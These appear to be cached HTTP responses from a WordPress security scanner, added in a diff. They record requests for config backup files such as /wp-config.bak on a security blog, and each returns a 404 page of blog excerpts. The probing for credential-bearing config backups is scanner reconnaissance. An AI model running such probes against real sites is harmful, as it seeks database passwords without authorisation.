<p class=\"meta\">\n\
|
||||
Posted on 7 April, 2012 by ethicalhack3r </p>\n\
|
||||
<p class=\"comments\">\n\
|
||||
<a href=\"http://www.ethicalhack3r.co.uk/security/x-frame-options/#comments\">5 Comments</a>\n\
|
||||
</p>\n\
|
||||
</div>\n \n\
|
||||
<div class=\"post-item\">\n\
|
||||
<h2><a href=\"http://www.ethicalhack3r.co.uk/security/wireless-man-in-the-middle-mitm/\">Wireless Man In The Middle (MITM)</a></h2>\n\
|
||||
<p>This is a recent piece I did for the BBC Inside Out program that originally aired on February 6th. In the video I demonstrate a wireless <a href=\"http://en.wikipedia.org/wiki/Man-in-the-middle_attack\" target=\"_blank\">Main In The Middle (MITM)</a> attack in a coffee shop using a FON+ wireless router, Karma and <a href=\"http://www.digininja.org/jasager/\" target=\"_blank\">Jasager</a>. Oh, and they’re the ones who call me an ‘expert’, personally, I hate the term and would never call myself one.</p>\n\
|
||||
<p><iframe width=\"420\" height=\"315\" src=\"http://www.youtube.com/embed/J6Lch5fhlO4\" frameborder=\"0\" allowfullscreen></iframe></p>\n\
|
||||
<p class=\"meta\">\n\
|
||||
Posted on 13 February, 2012 by ethicalhack3r </p>\n\
|
||||
<p class=\"comments\">\n\
|
||||
<a href=\"http://www.ethicalhack3r.co.uk/security/wireless-man-in-the-middle-mitm/#comments\">6 Comments</a>\n\
|
||||
</p>\n\
|
||||
</div>\n \n\
|
||||
<div class=\"post-item\">\n\
|
||||
<h2><a href=\"http://www.ethicalhack3r.co.uk/general/prevention-of-unwanted-telemarketing-calls/\">Prevention of unwanted telemarketing calls</a></h2>\n\
|
||||
<p>I am tired of receiving multiple telemarketing calls per day, I’m tired of the <a href=\"http://www.tpsonline.org.uk/tps/index.html\" target=\"_blank\">Telephone Preference Service (TPS)</a> not having an affect and I’m tired of telecommunication companies charging for prevention features which should be free.</p>\n\
|
||||
<p>I came across an e-petition that was setup by a Rob Whitelock, it is not perfect in its recommendations but certainly puts the general point across.</p>\n\
|
||||
<blockquote><p>e-petitions is an easy way for you to influence government policy in the UK. You can create an e-petition about anything that the government is responsible for and if it gets at least 100,000 signatures, it will be eligible for debate in the House of Commons.</p></blockquote>\n\
|
||||
<p>You can help by signing the petition here;<br/>\n\
|
||||
<a href=\"http://epetitions.direct.gov.uk/petitions/17324\" target=\"_blank\">http://epetitions.direct.gov.uk/petitions/17324</a></p>\n\
|
||||
<p class=\"meta\">\n\
|
||||
Posted on 20 January, 2012 by ethicalhack3r </p>\n\
|
||||
<p class=\"comments\">\n\
|
||||
<a href=\"http://www.ethicalhack3r.co.uk/general/prevention-of-unwanted-telemarketing-calls/#comments\">No Comments</a>\n\
|
||||
</p>\n\
|
||||
</div>\n \n\
|
||||
<div id=\"morePrev\">\n\
|
||||
<span id=\"prev\"></span>\n\
|
||||
<span id=\"more\"><a href=\"http://www.ethicalhack3r.co.uk/wp-config.bak/page/2/\">Next Page »</a></span>\n\
|
||||
<br style=\"clear:both;\"/>\n\
|
||||
</div>\n\
|
||||
</div>\n \n\
|
||||
<ul id=\"sidebar\">\n\
|
||||
<li class=\"sidebarItem\" id=\"search\">\n\
|
||||
<form method=\"get\" id=\"searchform\" action=\"http://www.ethicalhack3r.co.uk\">\n\
|
||||
<input type=\"text\" name=\"s\" id=\"s\" value=\"\"/>\n\
|
||||
<input type=\"submit\" value=\"\" id=\"searchSubmit\"/>\n\
|
||||
</form> </li> \n\
|
||||
<div class=\"topLine\"></div>\n\
|
||||
<li id=\"twitter-3\" class=\"widget widget_twitter\"><div><h2 class=\"widgettitle\"><span class='twitterwidget twitterwidget-title'>My Twitter</span></h2>\n\
|
||||
<ul><li><span class='entry-content'>The <a href=\"http://twitter.com/th3j35t3r\" class=\"twitter-user\" target=\"_blank\">@th3j35t3r</a> injects modified BEeF hook into '1337bin.com' to hook Anon members. (reference: <a href=\"http://twitter.com/th3j35t3r\" class=\"twitter-user\" target=\"_blank\">@th3j35t3r</a>'s timeline)</span> <span class='entry-meta'><span class='time-meta'><a href=\"http://twitter.com/ethicalhack3r/statuses/222099417115799552\" target=\"_blank\">about 9 hours ago</a></span></span></li><li><span class='entry-content'><a href=\"http://twitter.com/MarcDJay\" class=\"twitter-user\" target=\"_blank\">@MarcDJay</a> I'd be happy with 7Mb right now :) current ISP is 2Mb down/100Kb up, new ISP promises 5Mb down/1Mb up.</span> <span class='entry-meta'><span class='time-meta'><a href=\"http://twitter.com/ethicalhack3r/statuses/222073498124816384\" target=\"_blank\">about 11 hours ago</a></span> <span class=\"in-reply-to-meta\"><a href=\"http://twitter.com/MarcDJay/statuses/222061035761311746\" class=\"reply-to\" target=\"_blank\">in reply to MarcDJay</a></span></span></li><li><span class='entry-content'><a href=\"http://twitter.com/runasand\" class=\"twitter-user\" target=\"_blank\">@runasand</a> not sure if he wants RTing as he's 'protected' ;) it was just a joke about them not having a particular kind of list :) //@ydoow</span> <span class='entry-meta'><span class='time-meta'><a href=\"http://twitter.com/ethicalhack3r/statuses/222066853927845888\" target=\"_blank\">about 11 hours ago</a></span> <span class=\"in-reply-to-meta\"><a href=\"http://twitter.com/runasand/statuses/\" class=\"reply-to\" target=\"_blank\">in reply to runasand</a></span></span></li><li><span class='entry-content'><a href=\"http://twitter.com/masontech\" class=\"twitter-user\" target=\"_blank\">@masontech</a> ouch! that's worse than mine! my current upload speed is unbearable so should have a new ISP in the next few days.</span> <span class='entry-meta'><span class='time-meta'><a href=\"http://twitter.com/ethicalhack3r/statuses/222060465658929152\" target=\"_blank\">about 12 hours ago</a></span> <span class=\"in-reply-to-meta\"><a href=\"http://twitter.com/masontech/statuses/222059324837597184\" class=\"reply-to\" target=\"_blank\">in reply to masontech</a></span></span></li><li><span class='entry-content'><a href=\"http://twitter.com/ydoow\" class=\"twitter-user\" target=\"_blank\">@ydoow</a> lol this is true! :) // <a href=\"http://twitter.com/runasand\" class=\"twitter-user\" target=\"_blank\">@runasand</a></span> <span class='entry-meta'><span class='time-meta'><a href=\"http://twitter.com/ethicalhack3r/statuses/222058327599886337\" target=\"_blank\">about 12 hours ago</a></span> <span class=\"in-reply-to-meta\"><a href=\"http://twitter.com/ydoow/statuses/222057898560327681\" class=\"reply-to\" target=\"_blank\">in reply to ydoow</a></span></span></li></ul></div></li>\n\
|
||||
<li id=\"categories-3\" class=\"widget widget_categories\"><h2 class=\"widgettitle\">Categories</h2>\n\
|
||||
<ul>\n\
|
||||
<li class=\"cat-item cat-item-10\"><a href=\"http://www.ethicalhack3r.co.uk/category/advisories/\" title=\"View all posts filed under Advisories\">Advisories</a>\n\
|
||||
</li>\n\
|
||||
<li class=\"cat-item cat-item-12\"><a href=\"http://www.ethicalhack3r.co.uk/category/espanol/\" title=\"View all posts filed under Espa\xC3\xB1ol\">Espa\xC3\xB1ol</a>\n\
|
||||
</li>\n\
|
||||
<li class=\"cat-item cat-item-11\"><a href=\"http://www.ethicalhack3r.co.uk/category/general/\" title=\"View all posts filed under General\">General</a>\n\
|
||||
</li>\n\
|
||||
<li class=\"cat-item cat-item-9\"><a href=\"http://www.ethicalhack3r.co.uk/category/interviews/\" title=\"View all posts filed under Interviews\">Interviews</a>\n\
|
||||
</li>\n\
|
||||
<li class=\"cat-item cat-item-3\"><a href=\"http://www.ethicalhack3r.co.uk/category/security/\" title=\"View all posts filed under Security\">Security</a>\n\
|
||||
</li>\n\
|
||||
<li class=\"cat-item cat-item-8\"><a href=\"http://www.ethicalhack3r.co.uk/category/toolz/\" title=\"View all posts filed under Toolz\">Toolz</a>\n\
|
||||
</li>\n\
|
||||
</ul>\n\
|
||||
</li>\n\
|
||||
<li id=\"recent-comments-3\" class=\"widget widget_recent_comments\"><h2 class=\"widgettitle\">Recent Comments</h2>\n\
|
||||
<ul id=\"recentcomments\"><li class=\"recentcomments\">ethicalhack3r on <a href=\"http://www.ethicalhack3r.co.uk/security/wordpress-in-the-wild-and-wpscan-update/comment-page-1/#comment-278788\">WordPress ‘In the Wild’ and WPScan Update</a></li><li class=\"recentcomments\">typhoon on <a href=\"http://www.ethicalhack3r.co.uk/security/wordpress-in-the-wild-and-wpscan-update/comment-page-1/#comment-278785\">WordPress ‘In the Wild’ and WPScan Update</a></li><li class=\"recentcomments\">Hi on <a href=\"http://www.ethicalhack3r.co.uk/security/setting-up-tor-on-backtrack/comment-page-1/#comment-278488\">Setting up Tor on BackTrack</a></li><li class=\"recentcomments\">ethicalhack3r on <a href=\"http://www.ethicalhack3r.co.uk/security/wordpress-in-the-wild-and-wpscan-update/comment-page-1/#comment-278341\">WordPress ‘In the Wild’ and WPScan Update</a></li><li class=\"recentcomments\"><a href='http://www.findthisend.com' rel='external nofollow' class='url'>Chic</a> on <a href=\"http://www.ethicalhack3r.co.uk/security/wordpress-in-the-wild-and-wpscan-update/comment-page-1/#comment-278315\">WordPress ‘In the Wild’ and WPScan Update</a></li></ul></li>\n\
|
||||
<li id=\"archives-2\" class=\"widget widget_archive\"><h2 class=\"widgettitle\">Archives</h2>\n\
|
||||
<ul>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2012/05/' title='May 2012'>May 2012</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2012/04/' title='April 2012'>April 2012</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2012/02/' title='February 2012'>February 2012</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2012/01/' title='January 2012'>January 2012</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2011/12/' title='December 2011'>December 2011</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2011/11/' title='November 2011'>November 2011</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2011/10/' title='October 2011'>October 2011</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2011/09/' title='September 2011'>September 2011</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2011/07/' title='July 2011'>July 2011</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2011/06/' title='June 2011'>June 2011</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2011/04/' title='April 2011'>April 2011</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2011/02/' title='February 2011'>February 2011</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2011/01/' title='January 2011'>January 2011</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2010/11/' title='November 2010'>November 2010</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2010/09/' title='September 2010'>September 2010</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2010/08/' title='August 2010'>August 2010</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2010/07/' title='July 2010'>July 2010</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2010/06/' title='June 2010'>June 2010</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2010/05/' title='May 2010'>May 2010</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2010/04/' title='April 2010'>April 2010</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2010/03/' title='March 2010'>March 2010</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2010/02/' title='February 2010'>February 2010</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2010/01/' title='January 2010'>January 2010</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/12/' title='December 2009'>December 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/11/' title='November 2009'>November 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/10/' title='October 2009'>October 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/09/' title='September 2009'>September 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/08/' title='August 2009'>August 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/07/' title='July 2009'>July 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/06/' title='June 2009'>June 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/05/' title='May 2009'>May 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/04/' title='April 2009'>April 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/03/' title='March 2009'>March 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/02/' title='February 2009'>February 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/01/' title='January 2009'>January 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2008/12/' title='December 2008'>December 2008</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2008/11/' title='November 2008'>November 2008</a></li>\n\
|
||||
</ul>\n\
|
||||
</li>\n\
|
||||
<li id=\"linkcat-7\" class=\"widget widget_links\"><h2 class=\"widgettitle\">Links</h2>\n\
|
||||
<ul class='xoxo blogroll'>\n\
|
||||
<li><a href=\"http://www.randomstorm.com/penetration-testing.php\" target=\"_blank\">Penetration Testing</a></li>\n\
|
||||
<li><a href=\"http://www.dewhurstsecurity.com\" target=\"_blank\">Web Application Security Assessment</a></li>\n\
|
||||
<li><a href=\"http://www.webwordcount.com\" target=\"_blank\">Website Word Count</a></li>\n\
|
||||
</ul>\n\
|
||||
</li>\n\
|
||||
<li id=\"text-8\" class=\"widget widget_text\"> <div class=\"textwidget\"><div align=\"center\">\n\
|
||||
<a href=\"http://www.bletchleypark.org.uk/content/contact/donation/support.rhtm\" target=\"_blank\"><img src=\"http://www.ethicalhack3r.co.uk/wp-content/uploads/2010/09/238614.jpg\"></a>\n\
|
||||
<br/>\n\
|
||||
<br/>\n\
|
||||
<a href=\"http://www.eff.org/\" target=\"_blank\"><img src=\"http://www.ethicalhack3r.co.uk/wp-content/uploads/2010/11/EFF-logo-trans.gif\"></a>\n\
|
||||
</div></div>\n\
|
||||
</li>\n\
|
||||
<li id=\"text-5\" class=\"widget widget_text\"> <div class=\"textwidget\"><br/><p align=\"center\"><a href=\"http://feeds.feedburner.com/EthicalHack3r\"><img src=\"http://feeds.feedburner.com/~fc/EthicalHack3r?bg=84BEFF&fg=000000&anim=0\" height=\"26\" width=\"88\" style=\"border:0\" alt=\"\"/></a></p></div>\n\
|
||||
</li>\n\
|
||||
</ul>\n </div>\n\
|
||||
<br style=\"clear:both;\"/>\n\
|
||||
<div id=\"footer\">\n\
|
||||
<div class=\"copyright\">Copyright © 2008-2012 Ryan Dewhurst</div>\n\
|
||||
</div>\n \n\
|
||||
</div>\n \n\
|
||||
</body>\n\
|
||||
</html>"
|
||||
code: 404
|
||||
connect_time: 3.1e-05
|
||||
curl_error_message: No error
|
||||
curl_return_code: 0
|
||||
effective_url: http://www.ethicalhack3r.co.uk/wp-config.bak
|
||||
headers: |
|
||||
HTTP/1.1 404 Not Found
|
||||
Server: cloudflare-nginx
|
||||
Date: Mon, 09 Jul 2012 08:15:28 GMT
|
||||
Content-Type: text/html; charset=UTF-8
|
||||
Transfer-Encoding: chunked
|
||||
Connection: keep-alive
|
||||
Set-Cookie: session=itg2lgoc4d364pol3v4p1vcshs73ji7d; path=/; HttpOnly
|
||||
Expires: Wed, 11 Jan 1984 05:00:00 GMT
|
||||
Cache-Control: no-cache, must-revalidate, max-age=0
|
||||
Pragma: no-cache
|
||||
X-Pingback: http://www.ethicalhack3r.co.uk/xmlrpc.php
|
||||
Last-Modified: Mon, 09 Jul 2012 08:15:28 GMT
|
||||
Vary: Accept-Encoding
|
||||
Set-Cookie: __cfduid=d393c5131f93166cbf45af7805bf6f4ec1341821727; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.co.uk
|
||||
Set-Cookie: __cfduid=d393c5131f93166cbf45af7805bf6f4ec1341821727; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.ethicalhack3r.co.uk
|
||||
Set-Cookie: __cfduid=d393c5131f93166cbf45af7805bf6f4ec1341821727; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.www.ethicalhack3r.co.uk
|
||||
|
||||
|
||||
http_version:
|
||||
mock: false
|
||||
name_lookup_time: 3.1e-05
|
||||
pretransfer_time: 2.9e-05
|
||||
request: !ruby/object:Typhoeus::Request
|
||||
after_complete:
|
||||
auth_method:
|
||||
body:
|
||||
cache_timeout: 600
|
||||
connect_timeout:
|
||||
disable_ssl_peer_verification: true
|
||||
follow_location:
|
||||
handled_response:
|
||||
headers:
|
||||
user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:9.0) Gecko/20100101 Firefox/9.0
|
||||
User-Agent: Typhoeus - http://github.com/pauldix/typhoeus/tree/master
|
||||
max_redirects:
|
||||
method: :get
|
||||
on_complete: !ruby/object:Proc {}
|
||||
|
||||
params:
|
||||
parsed_uri: !ruby/object:URI::HTTP
|
||||
fragment:
|
||||
host: www.ethicalhack3r.co.uk
|
||||
opaque:
|
||||
password:
|
||||
path: /wp-config.bak
|
||||
port: 80
|
||||
query:
|
||||
registry:
|
||||
scheme: http
|
||||
user:
|
||||
password:
|
||||
proxy:
|
||||
proxy_auth_method:
|
||||
proxy_password:
|
||||
proxy_type:
|
||||
proxy_username:
|
||||
response: *id001
|
||||
ssl_cacert:
|
||||
ssl_capath:
|
||||
ssl_cert:
|
||||
ssl_cert_type:
|
||||
ssl_key:
|
||||
ssl_key_password:
|
||||
ssl_key_type:
|
||||
timeout:
|
||||
url: http://www.ethicalhack3r.co.uk/wp-config.bak
|
||||
user_agent: Typhoeus - http://github.com/pauldix/typhoeus/tree/master
|
||||
username:
|
||||
verbose:
|
||||
requested_http_method:
|
||||
requested_url:
|
||||
start_time:
|
||||
start_transfer_time: 0.766856
|
||||
status_message:
|
||||
time: 0.857543
|
||||
310
cache/browser/939fd7bc272632ee56c37fb24f8994b29c6bbd47
vendored
Normal file
310
cache/browser/939fd7bc272632ee56c37fb24f8994b29c6bbd47
vendored
Normal file
@@ -0,0 +1,310 @@
|
||||
--- &id001 !ruby/object:Typhoeus::Response
|
||||
app_connect_time: 2.7e-05
|
||||
body: "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">\n\
|
||||
<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"en\">\n\
|
||||
<head>\n\
|
||||
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\"/>\n\
|
||||
<meta name=\"generator\" content=\"WordPress 3.4\"/>\n\
|
||||
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\"/>\n\
|
||||
<title>Nothing found for Wp-config Php Swo</title>\n\
|
||||
<link rel=\"pingback\" href=\"http://www.ethicalhack3r.co.uk/xmlrpc.php\"/>\n\
|
||||
<link rel=\"alternate\" type=\"application/rss+xml\" title=\"RSS 2.0\" href=\"http://www.ethicalhack3r.co.uk/feed/\"/>\n\
|
||||
<link rel=\"stylesheet\" type=\"text/css\" href=\"http://www.ethicalhack3r.co.uk/wp-content/themes/ethicalhack3r/style.css\" media=\"all\"/>\n\
|
||||
<link rel=\"shortcut icon\" href=\"http://www.ethicalhack3r.co.uk/wp-content/themes/ethicalhack3r/img/favicon.ico\"/>\n\
|
||||
<meta name=\"google-site-verification\" content=\"RQcfuyREDjFzzJ0eFJFnRB4PmdwDxOH0axmVIUHptJI\"/>\n\
|
||||
<link rel='stylesheet' id='wp-pagenavi-css' href='http://www.ethicalhack3r.co.uk/wp-content/plugins/wp-pagenavi/pagenavi-css.css?ver=2.70' type='text/css' media='all'/>\n\
|
||||
<link rel=\"EditURI\" type=\"application/rsd+xml\" title=\"RSD\" href=\"http://www.ethicalhack3r.co.uk/xmlrpc.php?rsd\"/>\n\
|
||||
<link rel=\"wlwmanifest\" type=\"application/wlwmanifest+xml\" href=\"http://www.ethicalhack3r.co.uk/wp-includes/wlwmanifest.xml\"/>\n \n \n\
|
||||
<style type=\"text/css\">.recentcomments a{display:inline!important;padding:0!important;margin:0!important;}</style>\n\
|
||||
</head>\n\
|
||||
<body><script type=\"text/javascript\">\n\
|
||||
//<![CDATA[\n\
|
||||
new Image().src = \"/cdn-cgi/ping?cf[location]=404&cf[js]=1\";\n\
|
||||
//]]>\n\
|
||||
</script>\n\
|
||||
<noscript>\n\
|
||||
<img src=\"/cdn-cgi/ping?cf[location]=404&cf[js]=0\" alt=\"\">\n\
|
||||
</noscript>\n\
|
||||
<script type=\"text/javascript\">\r\n\
|
||||
\r\n var _gaq = _gaq || [];\r\n _gaq.push(['_setAccount', 'UA-3292649-2']);\r\n _gaq.push(['_trackPageview']);\r\n\
|
||||
\r\n (function() {\r\n var ga = document.createElement('script'); ga.type = \r\n\
|
||||
'text/javascript'; ga.async = true;\r\n ga.src = ('https:' == document.location.protocol ? 'https://ssl' : \r\n\
|
||||
'http://www') + '.google-analytics.com/ga.js';\r\n var s = document.getElementsByTagName('script')[0]; \r\n\
|
||||
s.parentNode.insertBefore(ga, s);\r\n })();\r\n\
|
||||
\r\n\
|
||||
</script>\n\
|
||||
<div class=\"topLine\">\n\
|
||||
</div>\n\
|
||||
<div id=\"wrap\">\n\
|
||||
<div id=\"header\">\n\
|
||||
<h1><a href=\"http://www.ethicalhack3r.co.uk\">ethicalhack3r</a></h1>\n\
|
||||
<ul id=\"menu\">\n\
|
||||
<li id=\"home\" class=\"current_page_item\">\n\
|
||||
<a href=\"http://www.ethicalhack3r.co.uk\"><span>Home</span>\n\
|
||||
<div class=\"menuLine\">\n\
|
||||
01\n\
|
||||
</div> \n\
|
||||
</a>\n\
|
||||
</li>\n\
|
||||
<li class=\"page_item page-item-2\"><a href=\"http://www.ethicalhack3r.co.uk/about/\">About</a></li>\n\
|
||||
<li class=\"page_item page-item-281\"><a href=\"http://www.ethicalhack3r.co.uk/bookshelf/\">Bookshelf</a></li>\n\
|
||||
<li class=\"page_item page-item-699\"><a href=\"http://www.ethicalhack3r.co.uk/files/\">Files</a></li>\n\
|
||||
<li class=\"page_item page-item-275\"><a href=\"http://www.ethicalhack3r.co.uk/media/\">Media</a></li>\n\
|
||||
<li id=\"rss\">\n\
|
||||
<a href=\"http://www.ethicalhack3r.co.uk/feed/\"><img src=\"http://www.ethicalhack3r.co.uk/wp-content/themes/ethicalhack3r/img/rss.png\" alt=\"rss feed\" height=\"40px\"/></a>\n\
|
||||
</li>\n\
|
||||
</ul>\n\
|
||||
<br style=\"clear:both;\"/>\n\
|
||||
</div>\n \n\
|
||||
<div id=\"main\">\n\
|
||||
<div id=\"primary\">\n\
|
||||
<div class=\"topLine\">\n\
|
||||
</div>\n\
|
||||
<h2>Recent</h2>\n\
|
||||
<div class=\"post-item\">\n\
|
||||
<h2><a href=\"http://www.ethicalhack3r.co.uk/security/devbug-php-static-code-analysis/\">DevBug – PHP Static Code Analysis</a></h2>\n\
|
||||
<p>My final year university dissertation was on the topic of Static Code Analysis, specifically the integration of IDEs (Integrated Development Environments) with Static Code Analysis. The idea was to make Static Code Analysis accesible to the developer, without them having to install and use additional specialist Static Code Analysis software.</p>\n\
|
||||
<p>Due to my familiarity with PHP and its lack of interpreter taint analysis I decided that I would write a PHP Static Code Analysis application. The PHP Static Code Analysis tool I developed is called DevBug, it is an online PHP Static Code Analysis tool written mostly in JavaScript (jQuery). The Static Code Analysis engine uses the sources, securing functions and sinks data from the awesome <a href=\"http://sourceforge.net/projects/rips-scanner/\" target=\"_blank\">RIPS</a> Static Code Analysis tool to identify specific PHP functions that can cause or remediate user input caused vulnerabilities. DevBug uses Taint Analysis to identify tainted variables, follows the tainted variables through the code, untaints the variables if they are secured and finally detects whether or not tainted variables end up in in sensitive sinks.</p>\n\
|
||||
<p>The IDE used is called <a href=\"http://codemirror.net/\" target=\"_blank\">CodeMirror</a> that provides a code editing area, syntax highlighting, line numbering and an API. CodeMirror was slightly modified to detect deprecated PHP functions and highlight them.</p>\n\
|
||||
<p> <a href=\"http://www.ethicalhack3r.co.uk/security/devbug-php-static-code-analysis/#more-16810\" class=\"more-link\">read more…</a></p>\n\
|
||||
<p class=\"meta\">\n\
|
||||
Posted on 20 May, 2012 by ethicalhack3r </p>\n\
|
||||
<p class=\"comments\">\n\
|
||||
<a href=\"http://www.ethicalhack3r.co.uk/security/devbug-php-static-code-analysis/#comments\">4 Comments</a>\n\
|
||||
</p>\n\
|
||||
</div>\n \n\
|
||||
<div class=\"post-item\">\n\
|
||||
<h2><a href=\"http://www.ethicalhack3r.co.uk/security/old-school-hacking/\">Old School hacking</a></h2>\n\
|
||||
<p>Back in the late nineties, around 1999, my mother bought me my first computer. Around this time The Matrix movie was released which as a young boy with a new computer had me Yahoo’ing (Google was largely unknown) for the term ‘hacking’. Back then Yahoo! Chat was still around and had a chat room called the ‘Hackers Lounge’, everyone in there was talking about all sorts of cool things you could do with computers that I had never heard of before. With hindsight, most of the people in the chat room were script kiddies who knew how to run a few Windows GUI ‘hacking’ tools and largely acting like they were the kings of the Internet. At the time I wanted to learn about all of the cool things they knew. I started downloading and learning how to use these ‘hacking’ tools by the use of my guinea pig friends and family (my siblings soon grew tired of me remotely opening and closing their CD-ROM drives).</p>\n\
|
||||
<p>Some of these tools are still actively developed and used today, invaluable to conducting modern Penetration Testing and security audits. For the sake of nostalgia, I present to you some of the coolest most 1337 ‘hacking’ tools that I and others used ‘back in the day’. Warning: Download links not verified.</p>\n\
|
||||
<p><strong>Legion by Rhino9</strong></p>\n\
|
||||
<p>Use: Windows Null Session share scanner.<br/>\n\
|
||||
Released: 1999<br/>\n\
|
||||
Platform: Windows<br/>\n\
|
||||
Further Info: <a href=\"http://www.informit.com/articles/article.aspx?p=26263&seqNum=5\" target=\"_blank\">http://www.informit.com/articles/article.aspx?p=26263&seqNum=5</a><br/>\n\
|
||||
Download: <a href=\"http://packetstormsecurity.org/files/14711/legion.zip.html\" title=\"legion download\" target=\"_blank\">http://packetstormsecurity.org/files/14711/legion.zip.html</a></p>\n\
|
||||
<p><a href=\"http://www.ethicalhack3r.co.uk/wp-content/uploads/2012/05/legion_rhino9.gif\"><img src=\"http://www.ethicalhack3r.co.uk/wp-content/uploads/2012/05/legion_rhino9-300x229.gif\" alt=\"Legion Rhino9\" title=\"legion_rhino9\" width=\"300\" height=\"229\" class=\"alignnone size-medium wp-image-16768\"/></a></p>\n\
|
||||
<p> <a href=\"http://www.ethicalhack3r.co.uk/security/old-school-hacking/#more-16765\" class=\"more-link\">read more…</a></p>\n\
|
||||
<p class=\"meta\">\n\
|
||||
Posted on 9 May, 2012 by ethicalhack3r </p>\n\
|
||||
<p class=\"comments\">\n\
|
||||
<a href=\"http://www.ethicalhack3r.co.uk/security/old-school-hacking/#comments\">10 Comments</a>\n\
|
||||
</p>\n\
|
||||
</div>\n \n\
|
||||
<div class=\"post-item\">\n\
|
||||
<h2><a href=\"http://www.ethicalhack3r.co.uk/security/x-frame-options/\">X-Frame-Options</a></h2>\n\
|
||||
<p>A colleague <a href=\"http://twitter.com/#!/securityshell/status/188594770925469697\" target=\"_blank\">tweeted</a> a link to a blog <a href=\"http://blog.whitehatsec.com/x-frame-options/\" target=\"_blank\">post</a> by WhiteHat Security about the X-Frame-Options HTTP header. I had heard of X-Frame-Options before and knew what it did but didn’t really know how it was used so I decided to investigate further.</p>\n\
|
||||
<p>X-Frame-Options is a HTTP response header that tells the browser what pages are allowed to be loaded in <frame> or <iframe> HTML tags. The header is an extra layer of security that a web application can implement to attempt to mitigate <a href=\"http://en.wikipedia.org/wiki/Clickjacking\" target=\"_blank\">clickjacking</a> (UI redressing).</p>\n\
|
||||
<p>The X-Frame-Options header may have three different values:</p>\n\
|
||||
<p><strong>DENY</strong> – No pages are allowed to be loaded.<br/>\n\
|
||||
<strong>SAMEORIGIN</strong> – Only pages from the same domain are allowed to be loaded.<br/>\n\
|
||||
<strong>Allow-From http://www.example.com</strong> – Only allow frames from www.example.com.</p>\n\
|
||||
<p> <a href=\"http://www.ethicalhack3r.co.uk/security/x-frame-options/#more-16743\" class=\"more-link\">read more…</a></p>\n\
|
||||
<p class=\"meta\">\n\
|
||||
Posted on 7 April, 2012 by ethicalhack3r </p>\n\
|
||||
<p class=\"comments\">\n\
|
||||
<a href=\"http://www.ethicalhack3r.co.uk/security/x-frame-options/#comments\">5 Comments</a>\n\
|
||||
</p>\n\
|
||||
</div>\n \n\
|
||||
<div class=\"post-item\">\n\
|
||||
<h2><a href=\"http://www.ethicalhack3r.co.uk/security/wireless-man-in-the-middle-mitm/\">Wireless Man In The Middle (MITM)</a></h2>\n\
|
||||
<p>This is a recent piece I did for the BBC Inside Out program that originally aired on February 6th. In the video I demonstrate a wireless <a href=\"http://en.wikipedia.org/wiki/Man-in-the-middle_attack\" target=\"_blank\">Main In The Middle (MITM)</a> attack in a coffee shop using a FON+ wireless router, Karma and <a href=\"http://www.digininja.org/jasager/\" target=\"_blank\">Jasager</a>. Oh, and they’re the ones who call me an ‘expert’, personally, I hate the term and would never call myself one.</p>\n\
|
||||
<p><iframe width=\"420\" height=\"315\" src=\"http://www.youtube.com/embed/J6Lch5fhlO4\" frameborder=\"0\" allowfullscreen></iframe></p>\n\
|
||||
<p class=\"meta\">\n\
|
||||
Posted on 13 February, 2012 by ethicalhack3r </p>\n\
|
||||
<p class=\"comments\">\n\
|
||||
